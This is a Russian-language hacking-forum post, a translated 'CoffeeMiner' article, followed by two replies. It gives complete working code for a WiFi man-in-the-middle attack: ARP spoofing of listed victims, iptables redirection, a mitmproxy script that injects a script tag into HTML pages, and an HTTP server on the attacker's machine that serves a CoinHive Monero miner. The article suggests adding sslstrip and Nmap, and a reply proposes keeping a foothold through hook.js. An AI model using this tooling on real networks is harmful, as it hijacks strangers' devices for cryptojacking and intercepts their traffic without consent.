• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья CoffeeMiner

amstrot

(L2) cache
Пользователь
Регистрация
16.02.2019
Сообщения
308
Реакции
410
Несколько недель назад я читал об этом случае Starbucks, когда хакеры захватывали ноутбуки в сети Wi-Fi, чтобы использовать вычислительную мощность устройств для майнинга криптовалюты, и я подумал, что было бы интересно выполнить атаку по-другому.
Цель этой статьи - объяснить, как можно осуществить атаку MITM (Machine-In-The-Middle), чтобы внедрить некоторый javascript в html-страницы, чтобы заставить все устройства, подключенные к сети WiFi, добывать криптовалюту. для атакующего.
coffeeMiner

Цель состоит в том, чтобы иметь скрипт, который выполняет автономную атаку на сеть WiFi. Это то, что мы назвали CoffeeMiner , так как это своего рода атака, которая может быть осуществлена в WiFi-сетях кафе.
1. Сценарий
Сценарий будет состоять в том, что некоторые компьютеры будут подключены к сети WiFi, а злоумышленник CoffeeMiner перехватит трафик между пользователями и маршрутизатором.
сеть

1.1 Настройка сценария
Реальный сценарий - WiFi с подключенными ноутбуками и смартфонами. Мы проверили в этом реальном сценарии, и это работает. Но для этой статьи мы увидим более подробно, как настроить в виртуальной среде.
Мы будем использовать VirtualBox для развертывания нашего виртуального сценария https://www.virtualbox.org/ .
Прежде всего нам нужно скачать образ диска Linux и установить его на компьютер VirtualBox, для этого примера мы будем использовать образы Kali Linux https://www.kali.org/
Как только мы загрузили ISO-образ, мы подготовим 3 машины VBox с установленным образом Linux.
Чтобы настроить определенный сценарий, нам нужно подготовить машины, каждая из которых имеет роль:
  • Потерпевший
    • будет машина, которая подключается к маршрутизатору и просматривать некоторые страницы.
  • нападающий
    • будет машина, где он запускает кофемашину. Является ли машина, которая выполняет MITM.
  • Маршрутизатор / Шлюз
    • будет действовать как нормальный шлюз.
сеть

Как только атака будет выполнена, сценарий будет:
сеть

Чтобы настроить каждую из машин, мы сделаем следующую конфигурацию:
  • Потерпевший
    • Сетевой адаптер:
      • eth0: хост-адаптер
    • / и т.д. / сеть / интерфейсы:
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 10.0.2.10
netmask 255.255.255.0
gateway 10.0.2.15

  • нападающий
    • Сетевой адаптер:
      • eth0: хост-адаптер
    • / и т.д. / сеть / интерфейсы:
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 10.0.2.20
netmask 255.255.255.0
gateway 10.0.2.15

  • Маршрутизатор / Шлюз
    • Сетевой адаптер:
      • eth0: мостовой адаптер
      • eth1: хост-адаптер
    • / и т.д. / сеть / интерфейсы:
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet dhcp

auto eth1
iface eth1 inet static
address 10.0.2.15
netmask 255.255.255.0

2. CoffeeMiner, понимание кода
2.1 ARPspoofing
Прежде всего, нам нужно понять, как выполняется атака MITM.
Из википедии:
«В компьютерных сетях спуфинг ARP, отравление кэша ARP или маршрутизация отравления ARP - это метод, с помощью которого злоумышленник отправляет (подделывает) сообщения протокола разрешения адресов (ARP) в локальную сеть. Обычно цель состоит в том, чтобы связать MAC-адрес злоумышленника с IP-адресом другого хоста, такого как шлюз по умолчанию, чтобы вместо этого трафик, предназначенный для этого IP-адреса, отправлялся злоумышленнику »
https://en.wikipedia.org/wiki/ARP_spoofing
Для выполнения атаки ARPspoofing мы будем использовать библиотеку dsniff .
arpspoof -i interface -t ipVictim ipGateway
arpspoof -i interface -t ipGateway ipVictim

2.2 mitmproxy
mitmproxy - это программный инструмент, который позволяет нам анализировать трафик, проходящий через хост, и позволяет редактировать этот трафик. В нашем случае мы будем использовать его для вставки JavaScript в HTML-страницы.
Чтобы сделать процесс более понятным, мы вставим только одну строку кода в html-страницы. И будет той строкой HTML-кода, который будет вызывать майнер криптовалюты javascript.
Линия для внедрения крипто-майнера:
<script src="http://httpserverIP:8000/script.js"></script>

2.3 Инжектор
Как только у нас перехватили трафик жертвы, нам нужно внедрить в него наш скрипт. Мы будем использовать mitmproxy API для создания инжектора:
from bs4 import BeautifulSoup
from mitmproxy import ctx, http
import argparse

class Injector:
def __init__(self, path):
self.path = path

def response(self, flow: http.HTTPFlow) -> None:
if self.path:
html = BeautifulSoup(flow.response.content, "html.parser")
print(self.path)
print(flow.response.headers["content-type"])
if flow.response.headers["content-type"] == 'text/html':
script = html.new_tag(
"script",
src=self.path,
type='application/javascript')
html.body.insert(0, script)
flow.response.content = str(html).encode("utf8")
print("Script injected.")

def start():
parser = argparse.ArgumentParser()
parser.add_argument("path", type=str)
args = parser.parse_args()
return Injector(args.path)


2.4 HTTP-сервер
Как мы уже видели, инжектор добавляет строку в html с вызовом нашего криптомайнера javascript. Итак, нам нужно развернуть файл сценария на HTTP-сервере.
Чтобы обслужить майнер криптовалюты javascript, мы развернем HTTP-сервер на компьютере злоумышленника. Для этого мы будем использовать библиотеку Python 'http.server':
#!/usr/bin/env python
import http.server
import socketserver
import os

PORT = 8000

web_dir = os.path.join(os.path.dirname(__file__), 'miner_script')
os.chdir(web_dir)

Handler = http.server.SimpleHTTPRequestHandler
httpd = socketserver.TCPServer(("", PORT), Handler)
print("serving at port", PORT)
httpd.serve_forever()

Приведенный выше код представляет собой простой HTTP-сервер, который будет обслуживать нашего криптомайнера жертвам, когда они этого требуют.
Майнер javascript будет помещен в каталог / miner_script. В нашем случае мы использовали майнер CoinHive .
2.5 CoinHive крипто-майнер
CoinHive - это майнер JavaScript для криптовалюты Monero (XMR). Он может быть добавлен на веб-сайт и будет использовать мощность процессора пользователя для вычисления хэшей с помощью алгоритма хэширования Cryptonight PoW для майнинга Monero на основе протокола CryptoNote .
CoinHive майнер имеет смысл, когда пользователь остается на веб-сайте для среднесрочных сессий. Так, например, для веб-сайта, где средняя продолжительность сеанса пользователя составляет около 40 секунд, это не имеет особого смысла.
В нашем случае, поскольку мы будем внедрять крипто-майнер на каждую из HTML-страниц, которую запрашивают жертвы, будут проводиться долгосрочные сеансы для вычисления хэшей для майнинга Monero.
Логотип CoinHive

3. CoffeeMiner, собрать все вместе
Основная цель - связать все предыдущие концепции в одном автономном развертывании. Это будет CoffeeMiner.
Идея состоит в том, чтобы иметь скрипт CoffeeMiner, который выполняет атаку ARPspoofing и устанавливает mitmproxy для внедрения криптоминера CoinHive в HTML-страницы жертвы.
Прежде всего, нам нужно настроить ip_forwarding и IPTABLES, чтобы преобразовать компьютер злоумышленника в прокси:
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

Чтобы выполнить ARPspoof для всех жертв, мы подготовим файл 'children.txt' со всеми IP-адресами жертв. Чтобы прочитать все IP-адреса жертв, мы подготовим несколько строк Python, которые получат IP-адреса (а также IP-адрес шлюза из аргументов командной строки) и выполнят ARPspoof для каждого из IP-адресов жертвы.
# get gateway_ip
gateway = sys.argv[1]
print("gateway: " + gateway)
# get victims_ip
victims = [line.rstrip('\n') for line in open("victims.txt")]
print("victims:")
print(victims)

# run the arpspoof for each victim, each one in a new console
for victim in victims:
os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &")
os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &")

Как только у нас будет выполнена ARPspoofing, нам просто нужно запустить HTTP-сервер:
> python3 httpServer.py

И теперь мы можем запустить mitmproxy с помощью injector.py:
> mitmdump -s 'injector.py http://httpserverIP:8000/script.js'

3.1 CoffeeMiner, финальный скрипт
Теперь мы поместили все концепции, описанные выше, в скрипт «coffeeMiner.py»:
import os
import sys

#get gateway_ip (router)
gateway = sys.argv[1]
print("gateway: " + gateway)
# get victims_ip
victims = [line.rstrip('\n') for line in open("victims.txt")]
print("victims:")
print(victims)

# configure routing (IPTABLES)
os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
os.system("iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE")
os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080")
os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080")


# run the arpspoof for each victim, each one in a new console
for victim in victims:
os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &")
os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &")

# start the http server for serving the script.js, in a new console
os.system("xterm -hold -e 'python3 httpServer.py' &")

# start the mitmproxy
os.system("~/.local/bin/mitmdump -s 'injector.py http://10.0.2.20:8000/script.js' -T")

А также в скрипте «injector.py»:
from bs4 import BeautifulSoup
from mitmproxy import ctx, http
import argparse

class Injector:
def __init__(self, path):
self.path = path

def response(self, flow: http.HTTPFlow) -> None:
if self.path:
html = BeautifulSoup(flow.response.content, "html.parser")
print(self.path)
print(flow.response.headers["content-type"])
if flow.response.headers["content-type"] == 'text/html':
print(flow.response.headers["content-type"])
script = html.new_tag(
"script",
src=self.path,
type='application/javascript')
html.body.insert(0, script)
flow.response.content = str(html).encode("utf8")
print("Script injected.")

def start():
parser = argparse.ArgumentParser()
parser.add_argument("path", type=str)
args = parser.parse_args()
return Injector(args.path)

И чтобы выполнить, нам просто нужно сделать:
> python3 coffeeMiner.py RouterIP

4. Демо
Для демонстрации мы настроили сценарий VirtualBox, описанный выше.
Если мы хотим выполнить атаку вручную, нам понадобятся следующие терминалы:
демонстрация

Затем, как только атака ARPspoofing завершена, а инжектор и HTTP-сервер готовы, мы можем перейти на компьютер жертвы и перейти на веб-сайт. Трафик жертвы пройдет через машину атакующего и активирует инжектор:
демонстрация

В результате HTML-страницы, которые просматривает жертва, будут содержать HTML-строки кода, введенные злоумышленником.
демонстрация

4.1 Демо-видео
В следующем видео мы видим полную атаку в сценарии с использованием сценария coffeeMiner.py:
  • VirtualBox demo:
  • Реальная демонстрация WiFi сети и ноутбуков:
Заключение
Как мы уже видели, атака может быть легко выполнена, а также может быть развернута как автономная атака в сети WiFi.
Еще одна вещь, которую нужно иметь в виду, это то, что для реальной сети WiFi лучше выполнять процесс с помощью мощной антенны WiFi, чтобы лучше охватить все физические зоны.
Основной целью было выполнить автономную атаку, но нам все еще нужно отредактировать файлtims.txt с IP-адресами устройств-жертв. Для дальнейшей версии возможной функцией может быть добавление автономного сканирования Nmap , чтобы добавить IP-адреса, обнаруженные в списке жертв CoffeeMiner. Еще одна дополнительная функция, может быть добавление sslstrip , чтобы убедиться, что инъекция также на веб-сайтах, которые пользователь может запросить через HTTPS.
Полный код доступен в репозитории github: тыц
Автор
 
1 - Нужно что бы жертва открыла сайт с незамещенным соединением (80% сайтов имеют ssl)
2 - Инжект (он же майнинг) будет работать только когда запущен незащищенный сайт http. Как только пользователь уйдет с сайта, майнинг завершиться :)

Итог: на мой взгляд тема умерла, но все же есть небольшой шанс если закрепится в браузере. Например через hook.js
 
1 - Нужно что бы жертва открыла сайт с незамещенным соединением (80% сайтов имеют ssl)
2 - Инжект (он же майнинг) будет работать только когда запущен незащищенный сайт http. Как только пользователь уйдет с сайта, майнинг завершиться :)

Итог: на мой взгляд тема умерла, но все же есть небольшой шанс если закрепится в браузере. Например через hook.js
Либо брать обьемом, тогда это себя оправдает
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх